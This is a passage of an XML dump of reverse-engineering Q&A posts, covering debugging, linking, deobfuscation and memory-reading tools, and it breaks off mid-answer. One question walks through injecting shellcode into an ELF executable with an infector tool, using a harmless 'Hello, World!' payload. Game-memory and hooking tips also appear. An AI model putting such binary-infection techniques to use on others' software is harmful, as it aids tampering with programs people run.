  <row Id="10935" PostTypeId="2" ParentId="10934" CreationDate="2015-09-23T08:57:17.847" Score="1" Body="&lt;p&gt;If there is no documentation, there's almost no chance to reverse the file format without reverse engineering the database engine. Especially writing the files will be a nightmare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the (very old) dBase II file format is quite easy to read, since the data itself is stored in a quite basic format, and for reading the database, you can ignore all the indexing stuff, you just read the data records. The format for index files is much more complicated, since they are (probably) binary b-trees, and you need to get the indexes right as well if you want to write stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in your case, if &quot;the database is highly unreliable, corruption go unnoticed for years&quot; it seems that even the original designers of the software and the file format didn't get things right, at least in some edge cases. Which means you can't fix this without investing a &lt;em&gt;massive&lt;/em&gt; amount of effort and money - we're probably speaking about multiple developers for several years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your software is ODBC compliant, you'll probably have a much better chance at success by plugging a different ODBC backend to your software frontend. This will fail if your software uses advanced features of your specific database (good luck trying to get oracle stored procedures running on a MS SQL server), but if your software doesn't use more than basic sql statements, this &lt;em&gt;might&lt;/em&gt; at least work.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-09-23T08:57:17.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10937" PostTypeId="1" CreationDate="2015-09-23T18:11:35.213" Score="0" ViewCount="98" Body="&lt;p&gt;During runtime. With minimal performance impact on the target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Platform is Windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Objective is to gather a lot of data for clustering and ML. To ultimately assist with protocol reversing. All input will also be logged including packets (decrypted).&lt;/p&gt;&#xA;" OwnerUserId="13641" LastActivityDate="2015-09-23T22:12:21.840" Title="How to log every memory read/write action and the registers of the action?" Tags="|tools|" AnswerCount="1" CommentCount="0" ClosedDate="2015-09-24T10:38:39.683" ContentLicense="CC BY-SA 3.0" />
  <row Id="10938" PostTypeId="2" ParentId="10901" CreationDate="2015-09-23T18:17:11.630" Score="0" Body="&lt;p&gt;@ExtremeCoders comment was a sufficient answer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1) Hooks exists in the same address space as that of the target. So you have full access to all memory. In case of breakpoints, the debugger and debugee exists in different address space. In order to read memory, special API needs to be used, like &lt;code&gt;ReadProcessMemory&lt;/code&gt; on Windows. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2) Hooks properly implemented, are usually difficult to detect. Debuggers are noisy.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Forgot to look at my question in that regard.&lt;/p&gt;&#xA;" OwnerUserId="10058" LastEditorUserId="18317" LastEditDate="2018-06-10T18:10:15.620" LastActivityDate="2018-06-10T18:10:15.620" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="10939" PostTypeId="2" ParentId="10937" CreationDate="2015-09-23T21:42:53.630" Score="2" Body="&lt;p&gt;There is no way you're going to be able to do this online -- the overhead of tracking registers and memory read/writes is way too high. However, you could instead use a technique called record &amp;amp; replay to log the nondeterministic inputs to the system. The overhead of this is reasonable and still allows programs to run normally. Then you can replay and do heavyweight logging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general approach is described in the paper &lt;a href=&quot;http://cs.stanford.edu/people/jchow/papers/decoupled-usenix2008.pdf&quot; rel=&quot;nofollow&quot;&gt;Decoupling dynamic program analysis from execution in virtual environments&lt;/a&gt;. This is the approach that &lt;a href=&quot;https://github.com/moyix/panda&quot; rel=&quot;nofollow&quot;&gt;PANDA&lt;/a&gt; is built around. If you want a large set of traces to work off of, we have a &lt;a href=&quot;http://moyix.blogspot.com/2015/08/one-weird-trick-to-shrink-your-panda.html&quot; rel=&quot;nofollow&quot;&gt;database of around 24,000 malware traces&lt;/a&gt;, and it is fairly simple to write a PANDA plugin to collect the memory and register traces you want.&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="257" LastEditDate="2015-09-23T22:12:21.840" LastActivityDate="2015-09-23T22:12:21.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10940" PostTypeId="1" CreationDate="2015-09-23T22:43:36.590" Score="3" ViewCount="4296" Body="&lt;p&gt;I'm fairly new to reversing, and I have even less experience with IDA Pro. I am wondering if there is a way to figure out from where an imported function is imported, i.e. a memory location I can find with ldd or even better a .so name.&lt;/p&gt;&#xA;" OwnerUserId="13644" LastActivityDate="2022-09-20T12:05:21.383" Title="Finding the library an imported function is from in IDA" Tags="|ida|elf|shared-object|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10942" PostTypeId="1" CreationDate="2015-09-24T03:21:25.790" Score="2" ViewCount="129" Body="&lt;p&gt;I have reversed a program I found running on my computer, written in VB.NET using Microsoft Visual Studio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure it is a keylogger. Now since I'm a very careful user, I'm 100% sure I did not download that. I believe it was planted by someone who had access to my computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can identify who wrote it? (Computer name maybe, VS username, etc?)&#xA;Advanced methods would be appreciated as well in case whoever wrote it found a way around the obvious ones.&lt;/p&gt;&#xA;" OwnerUserId="13646" LastActivityDate="2015-09-24T03:21:25.790" Title="Identity of a programmer from a reversed VB.NET application (Visual Studio)" Tags="|visual-basic|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10944" PostTypeId="2" ParentId="10940" CreationDate="2015-09-24T09:15:10.257" Score="5" Body="&lt;p&gt;When I had the same problem (I was working on ELF binaries from Linux and QNX systems) I had to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;run &lt;code&gt;ldd&lt;/code&gt; on the executable to get the list of loaded libraries&lt;/li&gt;&#xA;&lt;li&gt;obtain a list of exports of each mentioned library (by running &lt;code&gt;nm -CD full_library_name | grep &quot; T &quot;&lt;/code&gt; on the system)&lt;/li&gt;&#xA;&lt;li&gt;If your function is there - it is there&lt;/li&gt;&#xA;&lt;li&gt;If you are working with C++, take demangling into consideration&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you don't have an ability to use shell on your system, you can automate getting list of exports using IDAPython ( &lt;code&gt;idautils.Entries()&lt;/code&gt; ) and &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;noreferrer&quot;&gt;-S ida command line option&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the library is loaded dynamically (by using &lt;code&gt;dlopen/dlsym&lt;/code&gt; for example) you'll have to find corresponding &lt;code&gt;dlopen&lt;/code&gt; call and find out its arguments.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-09-24T09:40:13.313" LastActivityDate="2015-09-24T09:40:13.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10945" PostTypeId="1" CreationDate="2015-09-24T11:21:29.333" Score="4" ViewCount="2843" Body="&lt;p&gt;I am trying to inject a piece of shellcode inside a 32-bit ELF executable. I am running Ubuntu 14.04 64-bit. Hence, all the commands I have run require explicit switches to produce 32-bit code. I am using &lt;a href=&quot;https://github.com/oblique/elf-infector&quot; rel=&quot;nofollow noreferrer&quot;&gt;elf-infector&lt;/a&gt; to inject my shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C source of the host binary is given below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* simple_if.c */&#xA;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &quot;s2e.h&quot;&#xA;&#xA;int main()&#xA;{&#xA;  int var_cond;&#xA;  printf(&quot;Enter 0/1: &quot;);&#xA;  scanf(&quot;%d&quot;, &amp;amp;var_cond);&#xA;  if(!var_cond)&#xA;    printf(&quot;Entered value: 0\n&quot;);&#xA;  else&#xA;    printf(&quot;Entered value: 1\n&quot;);&#xA;&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First I tried with a &quot;Hello World&quot; ASM payload:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; hello.asm&#xA;global _start&#xA;section .text&#xA;&#xA;_start:&#xA;    jmp MESSAGE      ; 1) lets jump to MESSAGE&#xA;&#xA;GOBACK:&#xA;    mov eax, 0x4&#xA;    mov ebx, 0x1&#xA;    pop ecx          ; 3) we are poping into `ecx`, now we have the&#xA;                     ; address of &quot;Hello, World!\r\n&quot; &#xA;    mov edx, 0xF&#xA;    int 0x80&#xA;    jmp end          ; Injector will insert a jump to original entry point&#xA;&#xA;    ;mov eax, 0x1    ; Intentionally not returning the control&#xA;    ;mov ebx, 0x0&#xA;    ;int 0x80&#xA;&#xA;MESSAGE:&#xA;    call GOBACK       ; 2) we are going back, since we used `call`, that means&#xA;                      ; the return address, which is in this case the address &#xA;                      ; of &quot;Hello, World!\r\n&quot;, is pushed into the stack.&#xA;    db &quot;Hello, World!&quot;, 0dh, 0ah    &#xA;end:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiled both the host and the parasite and injected the shellcode at the end.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -m32 simple_if.c -o simple_if&#xA;nasm -f elf hello.asm -o hello.o&#xA;ld -m elf_i386 hello.o -o hello&#xA;&#xA;# Test the assembled code&#xA;./hello&#xA;Hello, World!&#xA;Segmentation fault (core dumped)&#xA;# Segfault is natural, we are not gracefully returning to OS&#xA;&#xA;# Now extract the shellcode&#xA;for i in `objdump -d ./hello | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' `; do echo -n &quot;\\\\x$i&quot; ; done | paste -d '' -s | sed 's/^/&quot;/' | sed 's/$/&quot;/g'&#xA;&quot;\xeb\x14\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\x00\x00\x00\xcd\x80\xeb\x14\xe8\xe7\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a&quot;&#xA;&#xA;# Update parasite.h&#xA;make&#xA;./infector simple_if&#xA;&#xA;Run the infected file&#xA;./simple_if&#xA;Hello, World!&#xA;Enter 0/1: 8&#xA;Entered value: 1&#xA;Segmentation fault (core dumped)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I expect the program should gracefully exit. Because, the infector inserts a jump to the OEP at the end of the shellcode. I tried the same with a different payload. But, in this case, the program runs in an infinite loop a never exits.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global     _start    &#xA;section    .text&#xA;&#xA;_start:&#xA;    mov    ecx,0x23f0&#xA;    mov    edx,0x804869c&#xA;    jmp    prog_name&#xA;&#xA;stub:&#xA;    pop    eax&#xA;    push   ebx&#xA;    mov    ebx,edx&#xA;    ;db     0x0f,0x3f,0x00,0xaa,0x00,0x00,0x00,0x00,0x00,0x00&#xA;    pop    ebx&#xA;    xor    eax,eax&#xA;    jmp    jump_start&#xA;&#xA;prog_name:&#xA;    call   stub&#xA;    db &quot;simple_if&quot;,0x00,0x90&#xA;&#xA;jump_start:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what the infected file produces.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./simple_if&#xA;Enter 0/1: 9&#xA;Entered value: 1&#xA;Enter 0/1: 7&#xA;Entered value: 1&#xA;Enter 0/1: 6&#xA;Entered value: 1&#xA;Enter 0/1: 5&#xA;Entered value: 1&#xA;Enter 0/1: ^C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With GDB, I can see the shellcode is executed first and then the program jumps to OEP. The crash occurs thereafter. Can anybody please give me any clue what is going wrong?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="53" LastEditDate="2017-12-21T17:13:08.317" LastActivityDate="2017-12-21T17:13:08.317" Title="Injecting shellcode in ELF binary" Tags="|assembly|elf|patching|shellcode|nasm|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10946" PostTypeId="1" AcceptedAnswerId="10947" CreationDate="2015-09-24T19:02:42.343" Score="2" ViewCount="11396" Body="&lt;p&gt;I want to get into reverse engineering and eventually be able to read the memory of a specific game during runtime and work with this data. For this purpose I have been doing research on that topic and was considering to start with a simple task to learn about the proper tools and stuff like finding offsets for various information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to open an instance of the notepad editor, write some text into it and then access this text from another program after figuring out the right addresses. Although it seems as if OllyDbg is a famous choice I had problems to attach it to my notepad process. (Apparently some problem with the 64-bit Windows 10 would be my first guess here.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, I was curious if you can suggest me tools and alternatives for OllyDbg to get into this, especially proving the possibility to search the memory contents with specific patterns, in my sample case the text I entered on screen.&lt;/p&gt;&#xA;" OwnerUserId="13656" LastActivityDate="2015-09-24T20:03:14.277" Title="Tools to get started with reading memory during runtime" Tags="|windows|ollydbg|tools|memory|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10947" PostTypeId="2" ParentId="10946" CreationDate="2015-09-24T19:19:15.683" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.cheatengine.org/&quot; rel=&quot;nofollow&quot;&gt;Cheat Engine&lt;/a&gt; is probably the most well-known tool for scanning memory for strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the better hex editors (such as &lt;a href=&quot;http://www.sweetscape.com/010editor/&quot; rel=&quot;nofollow&quot;&gt;010 Editor&lt;/a&gt; and &lt;a href=&quot;http://www.x-ways.net/winhex/&quot; rel=&quot;nofollow&quot;&gt;WinHex&lt;/a&gt;) also allow you to scan a process's memory for strings.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-09-24T19:19:15.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10948" PostTypeId="2" ParentId="10946" CreationDate="2015-09-24T19:55:52.430" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://www.unknowncheats.me/forum/general-programming-and-reversing/145833-reclass-2015-a.html&quot; rel=&quot;nofollow&quot;&gt;ReClass&lt;/a&gt; is used to rebuild structures/classes in memory and will output C/C++ compatible structures that you can easily copy into existing code. Really neat too. I've used it personally to access vtables&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also EXTREMELY effective at following pointers in memory and previewing data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=K_jj6yF5ac0&quot; rel=&quot;nofollow&quot;&gt;How to use ReClass&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This guy does a good job of explaining how it is used in game hacking&lt;/p&gt;&#xA;" OwnerUserId="13424" LastEditorUserId="13424" LastEditDate="2015-09-24T20:03:14.277" LastActivityDate="2015-09-24T20:03:14.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10949" PostTypeId="1" AcceptedAnswerId="10953" CreationDate="2015-09-25T01:55:28.353" Score="1" ViewCount="682" Body="&lt;p&gt;the test is on &lt;code&gt;32-bit x86&lt;/code&gt;. I compiled the code with &lt;code&gt;gcc 4.2&lt;/code&gt;, optimization level &lt;code&gt;o2&lt;/code&gt;. I compiled the C code into binary, and then use &lt;code&gt;objdump&lt;/code&gt; to disassemble it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two sequences of instructions used for the function prologue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0804a6f0 &amp;lt;quotearg_n&amp;gt;:&#xA;804a6f0:       8b 44 24 04             mov    0x4(%esp),%eax&#xA;804a6f4:       b9 ff ff ff ff          mov    $0xffffffff,%ecx&#xA;804a6f9:       8b 54 24 08             mov    0x8(%esp),%edx&#xA;804a6fd:       c7 44 24 04 40 e1 04    movl   $0x804e140,0x4(%esp)&#xA;804a704:       08 &#xA;804a705:       e9 c6 fa ff ff          jmp    804a1d0 &amp;lt;quotearg_n_options&amp;gt;&#xA;804a70a:       8d b6 00 00 00 00       lea    0x0(%esi),%esi&#xA;&#xA;&#xA;0804a730 &amp;lt;quotearg&amp;gt;:&#xA;804a730:       83 ec 1c                sub    $0x1c,%esp&#xA;804a733:       8b 44 24 20             mov    0x20(%esp),%eax&#xA;804a737:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)&#xA;804a73e:       89 44 24 04             mov    %eax,0x4(%esp)&#xA;804a742:       e8 a9 ff ff ff          call   804a6f0 &amp;lt;quotearg_n&amp;gt;&#xA;804a747:       83 c4 1c                add    $0x1c,%esp&#xA;804a74a:       c3                      ret&#xA;804a74b:       90                      nop&#xA;804a74c:       8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that in function &lt;code&gt;quotearg&lt;/code&gt;, register &lt;code&gt;esp&lt;/code&gt; is decreased with &lt;code&gt;0x1c&lt;/code&gt; before it is used to access the stack and get some arguments. Accutually according to my experience, I think the &lt;code&gt;sub&lt;/code&gt; then &lt;code&gt;access&lt;/code&gt; pattern is quite common for instructions compiled with &lt;code&gt;O2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, note that in function &lt;code&gt;quotearg_n&lt;/code&gt;, register &lt;code&gt;esp&lt;/code&gt; is directly added with &lt;code&gt;0x4&lt;/code&gt; to access the stack. (I think the meaning of instruction at address &lt;code&gt;0x804a6f0&lt;/code&gt; is to put the return address of call site to register &lt;code&gt;eax&lt;/code&gt;, am I right..?) According to my observation, the pattern used by the first function is rare, around 5% for &lt;code&gt;gcc&lt;/code&gt; compiled middle size C program with &lt;code&gt;O2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does compiler generate function prologue instructions in a way similar to &lt;code&gt;quoterag_n&lt;/code&gt;? What is the exact meaning of the first three instructions start from address &lt;code&gt;0x804a6f0&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why doesn't compiler always generate function prologue instructions following the &lt;code&gt;sub&lt;/code&gt; then &lt;code&gt;access&lt;/code&gt; pattern? (such as &lt;code&gt;quoterag&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I clear? thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2015-09-25T07:55:20.320" Title="What is the difference between these two function prologue instruction sequences?" Tags="|assembly|x86|c|gcc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10950" PostTypeId="1" AcceptedAnswerId="10951" CreationDate="2015-09-25T02:46:05.133" Score="-3" ViewCount="8999" Body="&lt;p&gt;How to deobfuscate javascript file, i have a javascript code are deobfuscate .&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Code: &lt;a href=&quot;http://pastebin.com/zFH2GidN&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/zFH2GidN&lt;/a&gt;&#xA;Help me and thanks you.&lt;/p&gt;&#xA;" OwnerUserId="13627" LastActivityDate="2017-09-30T21:24:07.330" Title="How to deobfuscated javascript?" Tags="|obfuscation|javascript|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10951" PostTypeId="2" ParentId="10950" CreationDate="2015-09-25T04:05:27.357" Score="9" Body="&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on @ws's comment and @nderscore's code, use &lt;a href=&quot;http://jsfiddle.net/AcidShout/0fjcsw00/&quot; rel=&quot;noreferrer&quot;&gt;this JSFiddle&lt;/a&gt; to decode the thing.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To find the password that this script asks for, you can use a simple debugging trick.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to &lt;a href=&quot;http://www.jsfuck.com/&quot; rel=&quot;noreferrer&quot;&gt;JSFuck&lt;/a&gt; and uncheck the &lt;code&gt;Eval Source&lt;/code&gt; option.&lt;/li&gt;&#xA;&lt;li&gt;Paste the obfuscated JavaScript&lt;/li&gt;&#xA;&lt;li&gt;Run&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You'll see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QrI4o.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QrI4o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be calling &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/prompt&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;prompt()&lt;/code&gt;&lt;/a&gt;, so put a breakpoint on it, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(I'll be using Chrome for this)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open console (&lt;kbd&gt;F12&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Backup the original &lt;code&gt;prompt&lt;/code&gt; like this: &lt;code&gt;window.prompt_ = window.prompt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Override the call to prompt with a breakpoint: &lt;code&gt;window.prompt = function(a, b){ debugger; return window.prompt_(a, b); }&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;Run This&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;You'll break here:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EQq4Q.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EQq4Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Check the callstack at the right bottom.&lt;/li&gt;&#xA;&lt;li&gt;Go back one function, and you'll see:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LsnJW.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LsnJW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Bingo!&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Password is &lt;code&gt;forevermore&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/D7whU.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D7whU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/603Do.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/603Do.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4750" LastEditorUserId="4750" LastEditDate="2015-09-25T04:14:45.673" LastActivityDate="2015-09-25T04:14:45.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10952" PostTypeId="1" CreationDate="2015-09-25T07:37:26.700" Score="2" ViewCount="2054" Body="&lt;p&gt;I have a question about dynamic linking on Linux. Consider the following disassembly of an ARM binary.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8300 &amp;lt;printf@plt-0x40&amp;gt;:&#xA;    ....&#xA;8320:   e28fc600    add ip, pc, #0, 12&#xA;8324:   e28cca08    add ip, ip, #8, 20  ; 0x8000&#xA;8328:   e5bcf344    ldr pc, [ip, #836]! ; 0x344&#xA;  ....&#xA;83fc &amp;lt;main&amp;gt;:&#xA;  ....&#xA;8424:   ebffffbd   bl  8320 &amp;lt;_init+0x2c&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;main()&lt;/code&gt; function calls &lt;code&gt;printf()&lt;/code&gt; at &lt;code&gt;8424: bl 8320&lt;/code&gt;. Where &lt;code&gt;8320&lt;/code&gt; is an address in the &lt;code&gt;.plt&lt;/code&gt; shown above. Now, the code in &lt;code&gt;.plt&lt;/code&gt; makes call to dynamic linker to invoke &lt;code&gt;printf()&lt;/code&gt; routine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how the dynamic linker will be able to say that it is a call to &lt;code&gt;printf()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13659" LastEditorUserId="53" LastEditDate="2015-09-25T10:56:35.690" LastActivityDate="2021-09-27T22:20:50.090" Title="How the dynamic linker determines which routine to call on Linux?" Tags="|elf|dynamic-linking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10953" PostTypeId="2" ParentId="10949" CreationDate="2015-09-25T07:50:10.853" Score="4" Body="&lt;p&gt;It seems like the functions are defined like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int quotearg_n(int a, int b) {&#xA;    return quotearg_n_options(a, b, -1, &quot;some_string&quot;);&#xA;}&#xA;&#xA;int quotearg(int a) {&#xA;    return quotearg_n(0, a);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(the &lt;code&gt;int&lt;/code&gt;s might as well be pointers, can't tell this from your snippets, and the &quot;some string&quot; might be a pointer to a pre-initialized structure)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These functions have the normal &lt;code&gt;ABI&lt;/code&gt;, which means they pass all arguments on the stack, while &lt;code&gt;quotearg_n_options&lt;/code&gt; receives the first three of its arguments in registers, and only the last one on the stack. This might be due to a modifier in the function's prototype, and it might also be due to the function being declared &lt;code&gt;static&lt;/code&gt;, so the compiler knows it can't be called from outside the current source file so it's safe to change it's &lt;code&gt;ABI&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, from &lt;code&gt;quotearg&lt;/code&gt; to &lt;code&gt;quotearg_n&lt;/code&gt;, the number of parameters on the stack increases, so the compiler &lt;strong&gt;needs to make room for them&lt;/strong&gt;, initializes them, calls the subroutine, and returns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;code&gt;quotearg_n&lt;/code&gt; to &lt;code&gt;quotearg_n_options&lt;/code&gt;, the number of parameters increases again (from 2 to 4), but since three parameters are passed in registers &lt;code&gt;eax&lt;/code&gt;, &lt;code&gt;edx&lt;/code&gt; and &lt;code&gt;ecx&lt;/code&gt;, only the string has to be on the stack. Which means the number of parameter on the stack &lt;em&gt;decreases&lt;/em&gt;, so &lt;strong&gt;the call needs &lt;em&gt;less&lt;/em&gt; stack space&lt;/strong&gt;, which allows the compiler to recycle the current stack. So what the compiler does is something called &lt;em&gt;tail call elimination&lt;/em&gt;: instead of calling the function, then returning, it sets up the stack in the way the callee expects it, then jumps to it instead of using a call. That function (&lt;code&gt;quotearg_n_options&lt;/code&gt;) will execute, and when it returns, it will directly return to the function that called &lt;code&gt;quotearg_n&lt;/code&gt;, the original one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question: The compiler uses the &lt;a href=&quot;https://stackoverflow.com/questions/310974/what-is-tail-call-optimization&quot;&gt;tail call elimination&lt;/a&gt; optimization, which it can do only if the number of parameters &lt;em&gt;on the stack&lt;/em&gt; of the called function is lower than the number of parameters &lt;em&gt;on the stack&lt;/em&gt; of the caller.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-09-25T07:55:20.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10954" PostTypeId="2" ParentId="10952" CreationDate="2015-09-25T08:14:04.543" Score="2" Body="&lt;p&gt;This is done using the standard relocation methods which have been in ELF since long before the invention of the &lt;em&gt;plt&lt;/em&gt; (procedure linking table).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long ago (for some definition of long), external functions were called directly from within code. Which means, if your program called &lt;code&gt;printf&lt;/code&gt; from 1000 different places, each of these 1000 places had to be adjusted to the new dynamic location of &lt;code&gt;printf&lt;/code&gt; &lt;em&gt;everytime the program was started&lt;/em&gt;. Each of these 1000 places was added to the &lt;em&gt;relocation table&lt;/em&gt;, and starting a program included walking the &lt;em&gt;relocation table&lt;/em&gt; and adjusting every position referenced in it. Needless to say, this made starting programs take much more time, especially when the number of dynamic libraries used in programs increased. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;plt&lt;/em&gt; was invented to improve this - instead of producing a call to  &lt;code&gt;printf&lt;/code&gt; directly, the program got a new &lt;code&gt;plt&lt;/code&gt; section. Each call to &lt;code&gt;printf&lt;/code&gt; would be converted to a call to &lt;code&gt;printf@plt&lt;/code&gt; - which could be done at link time, so it wouldn't affect program loading - and &lt;code&gt;printf@plt&lt;/code&gt; 